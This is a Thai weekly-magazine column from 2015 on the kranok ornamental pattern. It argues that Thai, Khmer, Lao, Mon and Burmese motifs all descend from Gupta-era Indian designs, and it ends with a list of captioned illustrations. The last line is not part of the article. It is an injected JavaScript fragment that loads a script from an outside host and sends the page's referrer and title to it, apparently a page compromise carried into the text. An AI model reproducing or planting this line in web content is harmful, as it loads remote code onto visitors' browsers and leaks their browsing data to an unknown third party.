มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 28 สิงหาคม 2558

 

วัฒนธรรมร่วมอาเซียน (35)

ลายกระหนก

 

          ลายที่เรียกกันเองว่า “ลายประจำชาติ” ในอาเซียน ล้วนได้ต้นแบบจากลายกระหนกของอินเดีย (หรืออินโด-เปอร์เซีย) ที่แสดงลักษณะแตกต่างทางชนชั้นอย่างเข้มข้นของยุคนั้น

          ราว พ.ศ. 1000 เป็นต้นไป ผู้คนกลุ่มหนึ่งในบ้านเมืองบริเวณสุวรรณภูมิและอุษาคเนย์ มีการติดต่อทางทะเลสมุทร แล้วค้าขายแลกเปลี่ยนสิ่งของสินค้ากับอินเดียและลังกา

          เริ่มรับศาสนา และรับลายกระหนกจากอินเดียเป็นต้นแบบ แล้วเริ่มทำเลียนแบบ จึงสมมุติเรียกงานช่างนั้นว่าแบบทวารวดี (แต่มักนิยมเรียกศิลปะทวารวดี)

 

ลายกระหนก

          กระหนก หมายถึงเส้นสายลวดลายต่างๆ จากอินเดีย ที่แพร่เข้ามาโดยผูกติดกับศาสนาพราหมณ์และพุทธ ถึงดินแดนสุวรรณภูมิในอุษาคเนย์โดยรวม ไม่จำเพาะเจาะจงบริเวณหนึ่งใด

          เมื่อฝึกฝนเลียนแบบลายกระหนกจนชำนิชำนาญ จึงมีพัฒนาการเป็นลักษณะเฉพาะท้องถิ่นสุวรรณภูมิ

          กระทั่งเป็นรัฐชาติ มีชื่อชาติภาษา และประเทศชาติ เลยพากันสมมุติเรียกชื่อเส้นสายต่างๆ กันตามชื่อเหล่านั้นว่า ลายมอญ, ลายเขมร, ลายลาว, ฯลฯ จนถึงลายไทย

          แท้จริงแล้วล้วนเป็นลายกระหนกจากอินเดียโบราณอย่างเดียวกัน ถ้าจะแยกย่อยให้ต่างกันก็ผิดความจริง เว้นเสียแต่บังคับให้แตกต่างตามการเมืองยุคล่าอาณานิคม

 

ลายไทย

          คนทั่วไปเข้าใจตรงกันว่า กนก คือ ลายไทย เลยเรียกปนกันทั้งลายไทยลายกนก-(ลาย)กนกไทย คำว่า กนก เขียนเป็น กระหนก ก็ได้

          มีบางคนบางพวกคลุ้มคลั่งมากเกินเหตุ เลยทึกทักว่าลายกนกไทยเป็นงาน สร้างสรรค์ของไทยโดย “ช่างไทย” แท้ๆ งดงามอ่อนช้อยกว่าใครในโลก

          แต่ ไม่จริง—ไม่จริง—และไม่จริง

          ลายกนก-ลายกระหนก-ลายไทย ได้ต้นแบบจาก “ครู” แขกชมพูทวีป หรือแขกอินเดียสมัยคุปตะและหลังคุปตะ ราวหลัง พ.ศ. 800-1200 (มีรายละเอียดอยู่ในหนังสือกระหนกในดินแดนไทย โดย ศ.ดร. สันติ เล็กสุขุม สำนักพิมพ์เมืองโบราณ พิมพ์ครั้งที่ 3 พ.ศ. 2547 หน้า 22)

          ลายกระหนกอินเดียแพร่หลายมากับศาสนาทั้งพราหมณ์และพุทธ สู่ดินแดนสุวรรณภูมิในอุษาคเนย์คราวเดียวกัน ไม่ต้องไปหลงทางหาตรงไหนก่อน-หลัง เสียเวลาเปล่าๆ

          เพราะมีต้นแบบพ่อแม่เดียวกัน คือลายกนกชมพูทวีปอินเดีย ในแง่ตัวลายจึงไม่มีอะไรต่างกัน เว้นเสียแต่พบอยู่ในเขตประเทศไหน? ก็สมมุติเรียกว่าลายของดินแดนนั้น

          ถ้าอยู่ผิดที่ผิดทางก็บอกไม่ได้หรอกว่าลายใครเป็นลายใคร เพราะเป็นกระหนกเดียวกัน เช่น เอาลายไทยไปวางในเขมร, เอาลายเขมรไปวางในลาว, เอาลายลาวไปวางในพม่า, เอาลายพม่าไปวางในมอญ, เอาลายมอญมาวางในไทย ฯลฯ

          จะต่างกันก็แต่ “ลายมือ” เพราะแม้คนกลุ่มเดียวกัน แต่ต่างคนต่างเขียนลายก็ได้ลายต่างกันในรายละเอียด

 

ลายดั้งเดิม ก่อนรับกระหนกอินเดีย

          ก่อนรับกระหนกจากอินเดีย ช่างเขียนสุวรรณภูมิในอุษาคเนย์วาดรูปลวดลายธรรมชาติเป็นพื้นฐาน (หรือเบสิค) อย่างแข็งแรงแล้ว

          มีหลักฐานเป็นลายเส้นบนหน้าผา, ผนังถ้ำ, โขดหิน, ฯลฯ เป็นภาพเขียนดึกดำบรรพ์ มีอายุเก่าแก่มากกว่า 2,500 ปีมาแล้ว พบทั่วไปในดินแดนไทยตั้งแต่ภาคเหนือ, ภาคอีสาน, ภาคกลาง, ภาคใต้ แล้วพบกระจายอยู่ในดินแดนเพื่อนบ้านโดยรอบด้วย

          ทุกแห่งที่พบล้วนเป็นภาพเขียนศักดิ์สิทธิ์ เกี่ยวข้องกับระบบความเชื่อในศาสนาผีพื้นเมืองดั้งเดิมดึกดำบรรพ์ แล้วสะท้อนวิถีชีวิตของผู้คนและชุมชนยุคนั้น บริเวณนั้น ตั้งแต่ก่อนรับศาสนาพราหมณ์-พุทธ และก่อนรับลายกระหนกจากอินเดีย

          บริเวณโดยรอบของหน้าผา, ถ้ำ, โขดหิน, ฯลฯ เป็นสถานที่ศักดิ์สิทธิ์ (เทียบเท่าโบสถ์, วิหารสมัยหลัง) ใช้ทำพิธีกรรมเพื่อความอุดมสมบูรณ์ เช่น ขอฝน, ฯลฯ

          คนเขียนลายเส้นเป็นรูปต่างๆ เหล่านั้น เช่น คน, สัตว์, ฯลฯ ได้รับยกย่องเป็นบุคคลพิเศษ (ที่ยุคต่อไปจะเรียกว่าช่าง) มีอำนาจระดับหมอผี หมายถึงผู้มีวิชามากกว่าคนอื่นในท้องถิ่นชุมชนนั้น

          ทั้งหมดล้วนเป็นหลักฐานมั่นคง ว่าคนพื้นเมืองดั้งเดิมกลุ่มหนึ่งของสุวรรณภูมิในอุษาคเนย์เมื่อหลายพันปีมาแล้ว มีประสบการณ์ชำนาญและความสามารถระดับสูงแล้วในทางวาดรูป เขียนภาพ ทั้งเหมือนจริงและเหนือจริงเป็นเส้นสัญลักษณ์ ยุคก่อนรับลายกระหนกจากอินเดีย

          งานช่างอื่นๆ ก็ไม่ต่างจากงานช่างเขียน ไม่ว่าช่างฟ้อน ช่างขับ รวมถึงช่างดีดสีตีเป่า ซึ่งรู้จักทั่วไปทุกวันนี้ว่างานดนตรีและนาฏศิลป์ ล้วนมีรากเหง้าร่วมกันมาแต่ยุค ดึกดำบรรพ์
 

ลายเส้นคัดลอกทั้งหมดนี้ จากหนังสือ “กระหนกในดินแดนไทย”

โดย ศ. ดร. สันติ เล็กสุขุม

กระหนก สลักหิน  ศิลปะอินเดียแบบคุปตะ ราวหลัง พ.ศ. 800

กระหนก สลักหิน ศิลปะอินเดียแบบคุปตะ ราวหลัง พ.ศ. 800

กระหนก สลักหิน  ศิลปะจาม ราวหลัง พ.ศ. 1000

กระหนก สลักหิน ศิลปะจาม ราวหลัง พ.ศ. 1000

กระหนก ปูนปั้น  ศิลปะทวารวดี ถ้ำฝาโถ เขางู จ. ราชบุรี ราวหลัง พ.ศ. 1000

กระหนก ปูนปั้น ศิลปะทวารวดี ถ้ำฝาโถ เขางู จ. ราชบุรี ราวหลัง พ.ศ. 1000

กระหนก สลักหิน  ศิลปะชวา ราวหลัง พ .ศ. 1400

กระหนก สลักหิน ศิลปะชวา ราวหลัง พ .ศ. 1400

กระหนก สลักหิน  ศิลปะเขมรแบบบาปวน ปราสาทหลังกลาง ปราสาทเมืองต่ำ จ. บุรีรัมย์  ราวหลัง พ.ศ. 1500

กระหนก สลักหิน ศิลปะเขมรแบบบาปวน ปราสาทหลังกลาง ปราสาทเมืองต่ำ จ. บุรีรัมย์ ราวหลัง พ.ศ. 1500

กระหนก ปูนปั้น ศิลปะพม่าเมืองพุกาม (ลายคล้ายกระหนกประดับศิขรของวิหารแบบพุกาม) ราวหลัง พ.ศ. 1600

กระหนก ปูนปั้น ศิลปะพม่าเมืองพุกาม (ลายคล้ายกระหนกประดับศิขรของวิหารแบบพุกาม) ราวหลัง พ.ศ. 1600

กระหนก ปูนปั้น ศิลปะอยุธยา หน้าบันหน้าต่างอุโบสถวัดมเหยงคณ์ พระนครศรีอยุธยา  พระเจ้าท้ายสระบูรณะ พ.ศ. 2254

กระหนก ปูนปั้น ศิลปะอยุธยา หน้าบันหน้าต่างอุโบสถวัดมเหยงคณ์ พระนครศรีอยุธยา พระเจ้าท้ายสระบูรณะ พ.ศ. 2254

กระหนกสามตัวหางหงส์ ศิลปะรัตนโกสินทร์ จาก “สมุดตำราลายไทย” ที่พระเทวาภินิมมิต เรียบเรียงขึ้นในปี พ.ศ. 2486

กระหนกสามตัวหางหงส์ ศิลปะรัตนโกสินทร์ จาก “สมุดตำราลายไทย” ที่พระเทวาภินิมมิต เรียบเรียงขึ้นในปี พ.ศ. 2486

ลายไทยบนธนบัตรชนิดราคา 10 บาท ออกใช้วันที่ 20 กันยายน 2523

ลายไทยบนธนบัตรชนิดราคา 10 บาท ออกใช้วันที่ 20 กันยายน 2523

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;